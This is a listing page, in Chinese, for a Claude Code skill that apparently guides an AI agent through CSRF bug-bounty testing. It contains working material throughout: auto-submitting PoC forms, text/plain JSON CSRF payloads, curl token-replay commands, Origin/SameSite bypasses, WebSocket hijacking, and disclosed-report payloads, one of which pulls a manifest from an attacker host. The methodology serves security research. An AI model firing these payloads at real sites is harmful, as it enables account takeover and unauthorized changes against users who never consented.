mcpField
H
hunt-csrf

hunt-csrf

github.com/elementalsouls安全5.3k281 次安装今天更新
代码仓库

关于 hunt-csrf

hunt-csrf 是面向安全研究人员的测试技能,用于评估跨站请求能否触发会改变状态的操作。它结合请求级检查、令牌测试、攻击面线索与影响验证。

主要功能

  1. 01按优先级组织 CSRF 测试
  2. 02检查原始 HTTP 的 Origin 和 Referer
  3. 03测试令牌缺失与跨会话复用
  4. 04检查简单请求及 JSON 接口
  5. 05检查 OAuth、社交绑定和移动深链

适用场景

  1. 01检查资料修改是否接受无令牌 POST
  2. 02评估 JSON API 是否接受 text/plain 表单请求
  3. 03测试 OAuth 账号绑定是否校验 RelayState
  4. 04验证 CSRF 漏洞的影响与可复现性

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-csrf

安装后在 Claude Code 中输入/hunt-csrf确认已加载。

详细介绍

快捷方法:对于检查请求头的 CSRF,原始 HTTP 客户端胜过真正的跨源页面

原始 HTTP 客户端(curl、Burp Repeater、任何脚本客户端)不是浏览器:它会在与已认证 Cookie 相同的连接上,从任意路径发送你设置的任何 Origin/Referer 请求头值。许多声称能防御 CSRF 的应用,只会对传入的 Origin/Referer 请求头进行简单的字符串检查(是否包含/等于某个预期值?),而不是进行真正的同源校验——你可以直接设置请求头来满足这项检查,无需实际跨站发送请求(不需要托管 HTML 页面或使用无头浏览器)。对于这种情况,这比构建真正的攻击者页面更快、更可靠:

POST /profile HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://a-domain-the-app-treats-as-trusted-or-attacker-controlled.example
Cookie: <authenticated session>

username=csrf_poc

如果某些文本将某个特定源/域名称为“预期”的攻击者页面,那么这个字面值通常正是服务器检查的目标值——尝试将其原样放入 Origin(如果单独设置 Origin 无效,再尝试 Referer)。只有当目标确实采用基于 SameSite/fetch 的源校验,且伪造请求头无法通过校验时,才构建真正的跨源页面(通过真实浏览器发送请求)。

自主测试优先级

只有当浏览器可能被诱骗发起跨站状态更改操作时,CSRF 才有影响。

测试流程:

  1. 对表单端点发送 GET 请求,建立基线并检查有哪些字段(查找隐藏的 csrf_token、authenticity_token、_token、csrfmiddlewaretoken 字段)。
  2. 发送不含任何 CSRF Token 字段的 POST 请求,执行状态更改操作。 只发送功能参数(邮箱、金额等)。
  3. 使用“简单请求” Content-Type——application/x-www-form-urlencoded、multipart/form-data 或 text/plain 是跨源表单无需预检即可发送的三种 CORS“简单”内容类型。只有当服务器拒绝这些类型时,JSON 端点才具备 CSRF 抵御能力——如果它也接受 text/plain 请求体(这种情况很常见),就构造一个可解析为有效 JSON 的 text/plain 负载(参见“通过 text/plain 实现 JSON CSRF”一节)。不要因为认为单凭 application/json 就能防护而跳过 JSON 端点。
  4. 如果操作成功(2xx,且没有“令牌无效”错误)→ 即可确认存在 CSRF。

高价值目标(按影响排序):

  • 更改邮箱/密码 → 账户接管
  • 转账或付款 → 金融欺诈
  • 管理员操作(分配角色、删除用户)
  • OAuth 社交账户关联 → 持续性账户接管(ATO)

存在 Token 时的绕过技巧:

  • 完全省略 Token 字段——某些框架只会在字段存在时进行验证,而不检查字段是否缺失
  • 发送空值(_token=)——某些框架会验证格式,而不检查字段是否存在
  • 复制其他会话中的 Token——某些 Token 未与会话绑定

范围: 不要在登录表单(没有可利用的现有会话)、登出操作(没有实际影响)或只读 GET 端点上测试 CSRF。


核心目标

当 CSRF 影响会带来账户级或财务后果的状态更改操作时,其价值会很高。价值最高的目标包括:

  • 账户接管途径:OAuth/SSO 流程(RelayState 操纵)、社交账户关联/解除关联(Oculus-Facebook、SocialClub)、会暴露 OAuth Token 的导入好友功能
  • 认证基础设施:登录 CSRF、通过 CSRF 固定会话、强制关联账户
  • 接受跨源 POST 请求的 API 端点:JSON API、心跳/活动 API,以及任何跳过 Content-Type 强制校验的端点
  • 第三方集成:Grafana、监控仪表板、嵌入式分析——其 CSRF 防护往往滞后
  • 社交平台:Twitter/X 收藏、好友导入、社交关系图谱变更——高频、已认证且会对用户造成实际影响的操作

最有价值的资产类型: 核心产品认证流程 > API 网关 > 运行在子域名上的第三方集成 > 管理面板。


攻击面信号

URL 模式
/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)
响应头信号
# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly        # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None   # explicitly allows cross-site

# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true      # dangerous combo
JS / DOM 模式
// Static or predictable CSRF tokens
meta[name="csrf-token"]   // grep if value changes across sessions
authenticity_token        // Rails — check if reused across page loads

// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})

// No CSRF token in form at all
<form method="POST" action="/accounts/link">  // no hidden token field
技术栈信号
  • Rails 应用:查找 authenticity_token,测试它在每个会话中是否固定不变
  • Django 应用:检查 csrfmiddlewaretoken,测试它能否跨用户/会话复用
  • Grafana 实例:CVE-2022-21703,通过 /api/health 检查版本
  • SAMLv2/OIDC 流程:RelayState 参数很少经过验证
  • Express/Node API:通常会在 /api/* 路由上跳过 CSRF 中间件

分步测试方法

  1. 映射所有会更改状态的端点 — 使用已认证会话进行爬取,筛选 POST/PUT/DELETE/PATCH 请求。记录每个表单和 AJAX 调用。

  2. 检查 Cookie 的 SameSite 属性 — 在 DevTools → Application → Cookies 中查看。标记任何未设置 SameSite=Strict 或 Lax 的会话 Cookie。

  3. 测试令牌是否固定不变 — 登录两次(使用不同会话或无痕模式)。比较以下情况中的 authenticity_token / csrfmiddlewaretoken / csrf-token 值:

    • 同一会话,不同页面加载(值应不同)
    • 同一用户的不同会话
    • 完全不同的用户
  4. 测试省略令牌 — 从 POST 请求中完全移除 CSRF 令牌字段。如果服务器返回 200,则存在 CSRF 漏洞。

  5. 测试令牌替换 — 用来自不同会话的令牌替换当前令牌。服务器若接受该令牌,则说明验证存在缺陷。

  6. 测试 JSON 端点是否存在表单 POST CSRF — 检查是否强制要求 Content-Type:

    • 向 JSON 端点发送 application/x-www-form-urlencoded
    • 发送带有 JSON 请求体的 text/plain
    • 如果被接受,HTML 表单就能跨源触发请求
  7. 测试 OAuth/SSO RelayState — 拦截 SAML/OIDC 流程。测试 RelayState 是否经过同源验证。注入外部 URL。

  8. 检查社交账号关联流程 — 检查每个“关联 X 账号”功能。这些功能通常使用基于重定向的 OAuth,攻击者可以利用回调上的 CSRF 将自己的社交账号关联到受害者账号。

  9. 测试子域上的第三方仪表板 — Grafana、Kibana、Prometheus。检查版本,应用已知 CVE,并测试默认 CSRF 防护情况。

  10. 构建 PoC HTML 页面 — 将页面托管在不同源上,发起请求,并确认 Cookie 已发送且操作已执行。


载荷与检测模式

基本 CSRF PoC(表单 POST)
<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/v1/account/link">
    <input type="hidden" name="provider" value="attacker_account_id" />
    <input type="hidden" name="token" value="oauth_token_here" />
  </form>
</body>
</html>
通过 text/plain 实现 JSON CSRF(绕过 Content-Type 检查)
<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/heartbeat"
        enctype="text/plain">
    
    <input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
  </form>
</body>
</html>
curl:测试省略 CSRF 令牌
# Capture a valid request, then replay without token
curl -s -X POST https://target.com/settings/email \
  -H "Cookie: session=YOUR_SESSION" \
  -d "[email protected]" \
  -v 2>&1 | grep -E "HTTP|location|error"
curl:测试跨会话复用令牌
# Get token from session A
TOKEN_A=$(curl -s https://target.com/settings -H "Cookie: session=SESSION_A" \
  | grep -oP 'authenticity_token[^"]*value="\K[^"]+')

# Use token A in session B's request
curl -s -X POST https://target.com/settings/update \
  -H "Cookie: session=SESSION_B" \
  -d "authenticity_token=$TOKEN_A&[email protected]" \
  -v
用于侦察的 Grep 模式
# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'

# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"

# Check SameSite in response headers
curl -sI https://target.com/login | grep -i "set-cookie"

# Find RelayState parameters
grep -r "RelayState" --include="*.js" .
Grafana CVE-2022-21703 版本检查
curl -s https://monitoring.target.com/api/health | jq '.version'
# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15

常见根本原因

  1. 每个会话使用固定的 CSRF 令牌 — 开发者在登录时生成一个令牌并重复使用。Airbnb 的漏洞:同一会话的每次页面加载中,authenticity_token 都相同,因此很容易泄露。

  2. 令牌未与用户身份绑定 — 令牌在整个服务器范围内有效,或按计划轮换,而非按用户/会话生成。Mozilla 的漏洞:csrftoken 可由不同用户复用。

  3. “次要”端点缺少令牌 — 开发者会保护登录/注册功能,却忘记 API 端点、导入流程或 Webhook 处理程序。

  4. 误以为 JSON API 安全 — 认为 Content-Type: application/json 能防止 CSRF。它确实可以通过 CORS 预检实现这一点——除非服务器也接受 text/plain 或 application/x-www-form-urlencoded。

  5. 跨站嵌入使用 SameSite=None — 开发者为了支持 iframe 嵌入或第三方集成而设置 SameSite=None,无意中重新启用了 CSRF。

  6. 未验证 OAuth RelayState — 开发者实现了 SAML/OIDC,却把 RelayState 当作重定向提示,而不是需要通过密码学绑定的 CSRF 状态参数。

  7. 框架配置错误 — 在 Django/Rails 中,由于认为“API 客户端不需要 CSRF”,便从 /api/* 路由中排除了 CSRF 中间件,但基于浏览器的 JS 客户端仍然需要它。

  8. 第三方软件默认配置薄弱 — 较旧版本的 Grafana、Kibana、Jenkins 的 CSRF 防护较弱或缺失;团队没有打补丁或进行检查。


绕过技术

防御:SameSite=Lax Cookie

**绕过方式:**顶层导航 GET 请求仍然有效。如果可以通过 GET 触发敏感操作(或者重定向链会将 POST 转换为 GET),Lax 就无法提供保护。此外,子域名仍可为父域设置 Cookie。

防御:存在 CSRF 令牌

绕过方式:

  • 令牌在每个会话中固定不变——可通过 XSS、Referer 泄露或缓存页面窃取
  • 未在服务器端验证令牌——只需将其移除后重试
  • 仅验证令牌长度或格式——提交伪造但格式正确的值
  • 令牌与会话绑定,但会话可预测
防御:强制使用 Content-Type: application/json

**绕过方式:**使用 text/plain enctype,并构造表单输入名称以生成有效的 JSON。服务器会收到 JSON 请求体,并跳过 CORS 预检。

防御:检查 Referer/Origin 标头

绕过方式:

  • Null Origin:使用沙盒 iframe(<iframe sandbox="allow-scripts allow-forms">)
  • 子域绕过:如果信任 *.target.com,且你在任一子域上有 XSS
  • Referer 被剥离:从 HTTPS 跳转到 HTTP 时,Referer 标头会被剥离
  • 匹配规则过于宽松:target.com.evil.com 可通过简单的字符串匹配
防御:双重提交 Cookie 模式

**绕过方式:**如果攻击者可以设置 Cookie(通过子域名接管、经由 HTTP 注入 Cookie),就可以将 Cookie 和表单字段都设为相匹配的攻击者控制值。

防御:自定义请求标头(例如 X-Requested-With)

**绕过方式:**简单请求(表单 POST、text/plain)不会触发预检,也无法设置自定义标头——但某些服务器只检查标头是否存在,而不检查其值;某些框架则接受不带该标头的请求。


通过自定义协议 Deeplink 发起移动应用 CSRF

CSRF 并非只存在于浏览器中。对于有移动应用的目标,请枚举已导出的 Deeplink / 自定义协议处理器(来自 Android 清单 / iOS Info.plist 的 scheme://action),并测试打开其中一个处理器是否会使用应用的当前会话执行状态变更操作(关注、关联、购买),且无需 CSRF 令牌——可以通过普通链接或 QR 码发送给受害者。已披露:reports/583987、reports/805073。

第 0 关:验证

  1. 攻击者现在能做什么?——攻击者必须能够代表受害者触发特定的状态变更操作(关联账户、更改电子邮件、删除数据、关联社交账号),且受害者只需访问某个 URL 或页面,无需进行其他交互。

  2. 受害者会失去什么?——明确具体危害:账户访问权(ATO)、数据泄露、经济损失、声誉受损。“缺少 CSRF 令牌”不是影响;“攻击者可以将自己的 Oculus 账户关联到受害者的 Facebook 账户,从而获得完整的个人资料访问权限”才是影响。

  3. 能否从零开始在 10 分钟内复现?——你必须能够在 10 分钟内完成以下操作,且无需满足其他前提条件:(a) 创建攻击者和受害者账户,(b) 托管静态 HTML PoC,(c) 让受害者访问 PoC,(d) 确认该操作已在受害者账户中执行。


真实影响示例

场景 1:通过导入好友接管社交账户(Rockstar Games)

攻击者制作了一个恶意页面,针对“导入好友”OAuth 集成。当已认证的 SocialClub 用户访问该页面时,CSRF 会触发与攻击者控制的社交账户进行 OAuth 令牌交换。受害者的 SocialClub 账户会被永久关联到攻击者的 Facebook/社交身份,使攻击者在受害者不知情的情况下获得完整的账户访问权限。由于可能导致账户完全失陷,该漏洞被评为高危。

场景 2:通过 Oculus 集成 CSRF 劫持 Facebook 账户

在 Oculus 与 Facebook 账户关联过程中,OAuth 回调缺少适当的 CSRF 状态验证。攻击者可以构造一个 URL,当已登录 Facebook 且已启动 Oculus 关联流程的用户打开该 URL 时,攻击者的 Oculus 设备凭据就会与受害者的 Facebook 账户关联。随后,攻击者便可通过 Oculus 应用持续访问受害者的 Facebook 个人主页。此次攻击只要求受害者在登录 Facebook 时点击一个链接。

场景 3:心跳/活动跟踪中的 JSON API CSRF

开发者认为,接受 application/json 的 POST 端点可以免受 CSRF 攻击。一名研究人员构造了一个 HTML 表单,使用 enctype="text/plain",并设计了一个输入项名称,使表单提交后能够生成语法有效的 JSON。浏览器在不进行预检的情况下跨域发送请求(没有自定义标头,text/plain 属于简单请求),同时附带了 Cookie,服务器则将 JSON 请求体作为合法请求处理——在受害者账户身份下悄悄记录了攻击者控制的活动数据。


已披露报告引用(补充 +5 — 2020-2024)

以下真实且经过验证的漏洞赏金/协同披露案例扩展了此技能。其中四个案例通过 CSRF 链接到完整账户接管(ATO);五个案例均为现代案例(SameSite 时代)。

  1. Argo CD — 通过同级子域名绕过 SameSite=Lax + 滥用 Content-Type(CVE-2024-22424) (GHSA-92mw-q256-5vwg · 分析文章)

    • 子类:SameSite=None/Lax 配置错误链——利用同一父域名绕过 + 因缺少 Content-Type 强制检查而实现 JSON CSRF
    • 攻击载荷:托管于 marketing.victim.com,目标为 argocd.internal.victim.com → fetch('https://argocd.internal.victim.com/api/v1/applications', {method:'POST', credentials:'include', body:'{"metadata":{"name":"pwn"},"spec":{"source":{"repoURL":"https://attacker/manifest.git"}}}'})
    • 根本原因:Argo CD 未强制要求 Content-Type: application/json;当攻击者控制共享父域名下的任意同级子域名时,SameSite=Lax 形同虚设
    • 年份:2023 年报告,2024 年 1 月在 2.7.16/2.8.8/2.9.4 中修复
  2. GitLab — 通过转换为 GET 的变更操作,对 /api/graphql 发起 CSRF (H1 #1122408)

    • 子类:GET 状态变更端点(通过 GET 请求执行 GraphQL 变更操作)
    • 攻击载荷:<img src="https://gitlab.com/api/graphql?query=mutation{createSnippet(input:{title:%22x%22,visibilityLevel:public,content:%22pwn%22}){snippet{id}}}">
    • 根本原因:HTTP 方法为 GET 时,后端跳过了 X-CSRF-Token 验证;GraphQL 接受通过 ?query=mutation{...} 查询字符串提交的变更操作
    • 年份:2021 — $3,370
  3. Stripe Dashboard — 代码变更导致 CSRF 中间件被禁用 (H1 #1483327)

    • 子类:框架配置错误——全局禁用中间件
    • 攻击载荷:<form method="POST" action="https://dashboard.stripe.com/account/settings" enctype="text/plain"><input name='{"business_name":"pwned","x":"' value='"}'></form> + 自动提交脚本
    • 根本原因:2022-02-14 的部署意外关闭了所有 Stripe Dashboard 端点上的 CSRF 中间件
    • 年份:2022 — $5,000($2,500 × 2 名研究人员)
  4. GitHub Enterprise Server — 通过路径遍历绕过 CSRF(CVE-2022-23732) (H1 #1497169)

    • 子类:绕过 CSRF 令牌验证(通过路径遍历将请求绕过令牌检查)
    • 攻击载荷:<form method=POST action="https://ghes.victim.com/setup/api/start/..%2f..%2fadmin%2fusers"><input name=login value=attacker></form>
    • 根本原因:路由器在执行时匹配路径遍历后的路径,却在确定 CSRF 保护范围时匹配遍历前的路径,因此无需有效令牌即可访问受保护端点
    • 年份:2022 — $10,000
  5. HackerOne 自身 — 社交账户关联中的 CSRF → ATO (H1 #1727221)

    • 子类:账户关联 CSRF(关联社交账户提供商时未绑定 state)
    • 攻击载荷:<img src="https://hackerone.com/users/social_accounts/google?code=ATTACKER_CODE&state=PREDICTABLE"> — 受害者的浏览器完成由攻击者发起的关联流程
    • 根本原因:绑定到 OAuth 关联回调的令牌被重复使用,或未绑定到用户,因此攻击者发起的关联回调会在受害者的会话中被接受——攻击者的 Google 账户因此成为有效的登录方式 = ATO
    • 年份:2022 — 在 H1 自身计划中属于信息级范围,但有公开 PoC

Duende BFF — 按角色分区的反伪造机制(2024-2026 年功能概况)

Duende BFF(IdentityServer4 的商业后继产品)是用于 SPA 的规范 ASP.NET Core BFF 库。其反伪造机制非标准且不绑定用户:Duende 不使用 ASP.NET Core 的按会话/按用户双重提交令牌,而只要求每个映射到 BFF 的端点都带有静态标头 X-CSRF: 1。所有调用者的标头值都相同;它的唯一作用是在跨源调用时触发 CORS 预检。这使 CSRF 防御简化为“同源 + 存在会话 Cookie”,当一个 BFF 为多个权限分区提供服务时,会产生几种不同的攻击模式。

**架构简介:**浏览器↔BFF 通过加密的 HttpOnly 会话 Cookie(默认 .AspNetCore.Cookies)进行身份验证;BFF↔API 使用缓存在服务端的 OAuth 令牌。通过 MapBffManagementEndpoints / MapRemoteBffApiEndpoint / MapBffApiEndpoint 注册的端点会检查 X-CSRF: 1 和会话是否存在,不会检查其他内容。(docs.duendesoftware.com/bff,Duende blog Mar 2025)

攻击类别 1 — X-CSRF: 1 不绑定用户,因此同源跨角色重放可成功

当一个 BFF 同时为 /admin/* 和 /user/* 分区提供服务时,反伪造机制无法区分角色 A 和角色 B。只要受害者具有管理员角色,任何能够发出带有 X-CSRF: 1 的 XHR 并携带受害者会话 Cookie 的同源脚本,都能访问管理员端点。标准 ASP.NET Core 反伪造机制(会将令牌绑定到 HttpContext.User.Identity.Name,并在身份变更时拒绝请求)在这里能正确处理;Duende BFF 则不能。(docs.duendesoftware.com/bff/fundamentals/options)

**载荷形式:**从已登录的低权限会话发起 fetch('/bff/admin/users/delete?id=42', {credentials:'include', headers:{'X-CSRF':'1'}}) — 如果受害者的会话恰好具有管理员角色,且攻击者能够注入任意同源脚本(自行触发的 XSS、子域名接管后的 JS、依赖混淆),请求就会成功。

攻击类别 2 — SignalR/WebSocket 例外路径(/negotiate 快捷方式)

浏览器 WebSocket 无法发送自定义标头,因此无法在升级连接时强制要求 X-CSRF: 1。开发者经常通过将 SignalR Hub 路径排除在 BFF 反伪造机制之外来解决这个问题(MapHub<X>().DisableAntiforgery(),或将它们注册为非 BFF 端点)。排除后,任何同站点来源(包括被接管的相邻子域名或存储型 XSS 页面)都能通过附带的会话 Cookie 建立 WS 连接 → 利用 WebSocket 发起 CSRF,调用会修改状态的 Hub 方法。

**载荷形式:**跨源页面打开 new WebSocket("wss://bff.example.com/hubs/admin") — 浏览器会发送会话 Cookie,无需 X-CSRF,攻击者可通过标准 SignalR JSON 帧调用 DeleteUser(id)。(DuendeArchive/Support#972,learn.microsoft.com/aspnet/core/signalr/security)

攻击类别 3 — Cookie 域名通配符将子域名接管变为会话固定攻击

BFF 会话 Cookie 默认仅限当前主机,但开发者通常会覆盖设置 options.Cookie.Domain = ".example.com",以便在 app.example.com 和 admin.example.com 之间共享登录状态。这会移除 __Host- 前缀保护。接管 legacy.example.com(CNAME 指向已取消配置的 Heroku/S3)→ 设置 Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com → 受害者访问 app.example.com 时携带攻击者的会话 = 会话固定导致账户接管(ATO)。(nestenius.se BFF cookie hardening)

证据强度

截至 2026-05,不存在直接影响 Duende.BFF 的 CVE。上述三类属于设计层面/文档记录的行为;当它们与同源原语(同源脚本执行、SignalR 例外或子域名接管)结合时,就会成为实际发现项。报告严重性时,应侧重攻击链的业务影响,而非引用 CVE。Duende 生态中相邻且已确认的 CVE:CVE-2025-26620(Duende.AccessTokenManagement 竞争条件)、CVE-2024-51987(Duende.AccessTokenManagement.OpenIdConnect 刷新后使用错误令牌)、CVE-2024-39694(Duende.IdentityServer 开放重定向)。(GitHub 上的 Duende 安全公告)

排查清单
  1. curl https://target/bff/user -H 'X-CSRF: 1' -b '<session>' — 转储完整声明集,包括内部 ID、角色名称、租户 ID(单独来看属于信息泄露)。
  2. 检查 /bff/login 回调中的 Set-Cookie — 标记 Domain= 属性(而非 __Host- 前缀);标记缺少 Secure/HttpOnly 的情况。
  3. 使用低权限会话,向管理员分区的 POST 请求重放 X-CSRF: 1,确认令牌是否未按角色绑定。
  4. 枚举 SignalR/WS 集线器(/hubs/*、/signalr/*)— 检查是否能在没有 X-CSRF 的情况下打开;如果返回 101 Switching Protocols,则可实施类似 CSWSH 的攻击。
  5. 如果 BFF Cookie 设置了 Domain=.example.com,则盘点子域名并扫描 DNS 接管风险,检查是否存在任何 *.example.com。

相关技能与攻击链

  • hunt-xss — 可信源站上的任何 XSS 都能立即使 CSRF 防御(令牌、SameSite、Origin 检查)失效。攻击链原语:XSS 读取 meta[name=csrf-token] 的值,并通过同源 fetch 向 /accounts/email 发送攻击者载荷 → 攻击者页面通过 postMessage 触发存储型 XSS 执行状态更改,实现一键账户接管(ATO)。
  • hunt-auth-bypass — CSRF 与身份验证绕过原语结合后,攻击者一侧的脚本就能执行本应要求逐步验证的状态更改。攻击链原语:对 /settings/password 发起 CSRF,访问一个跳过重新验证检查的端点 → 无需受害者输入当前密码即可更改密码 → 账户接管(ATO)。
  • hunt-oauth — OAuth/SAML 的 state/RelayState 在结构上就是 CSRF 令牌;此处缺少验证属于账户关联 CSRF。攻击链原语:攻击者在自己的账户上发起 OAuth,然后将 /callback?code=X&state= URL 发给受害者 → 受害者已登录的浏览器完成关联 → 攻击者的社交身份便控制了受害者的账户。
  • security-arsenal — 编写 CSRF PoC 前,先使用 CSRF PoC 模板(表单 POST、enctype=text/plain JSON、沙盒 iframe 空 Origin、base64 multipart 绕过);还可使用用于绕过 Origin/Referer 检查的 WAF 绕过标头变体。
  • triage-validation — 在提交针对注销端点或任何不会造成状态更改后果的操作的 CSRF 前,先运行 Pre-Severity Gate——这些是典型的 N/A 陷阱。确认受害者确实会失去具体事物(账户访问权限、金钱、数据),而不只是“请求已执行”。

评论

支持 Markdown